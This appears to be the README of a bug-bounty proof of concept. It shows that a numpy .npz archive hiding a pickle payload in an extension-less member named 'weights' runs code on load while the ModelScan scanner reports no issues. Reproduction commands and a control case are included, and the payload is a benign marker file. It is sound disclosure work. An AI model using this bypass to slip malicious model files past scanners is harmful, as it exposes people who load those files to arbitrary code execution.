liamramsey/modelscan-npz-bypass-poc

PoC: ModelScan bypass via extension-less .npz zip member (numpy)

Security research PoC for the huntr.com Model File Format bounty program. Benign marker payload only (writes /tmp/POC_PWNED_npz_bypass). No destructive or network behavior.

Summary

bypass.npz is a numpy .npz archive whose pickle payload is stored in a zip member named weights (no .npy extension). numpy.load(..., allow_pickle=True) still unpickles that member on access and executes arbitrary code — but Protect AI ModelScan (tested v0.8.6) tags zip members by file extension, never assigns the weights member the NUMPY format, and reports "No issues found!".

Reproduce

pip install numpy==2.0.2 modelscan==0.8.6
# 1) it executes on load:
python -c "import numpy as np; np.load('bypass.npz', allow_pickle=True)['weights']; print(open('/tmp/POC_PWNED_npz_bypass').read())"
# -> prints BYPASS_PWNED_<n>
# 2) but the scanner says clean:
modelscan -p bypass.npz            # -> "No issues found!"
modelscan -p bypass.npz --show-skipped   # -> "bypass.npz:weights ... Model Scan did not scan file"

Control (proves the bypass is the member extension, not the container)

A .npz with the same payload in a member named config.npy IS flagged CRITICAL by ModelScan. See build_bypass.py for how the file was constructed.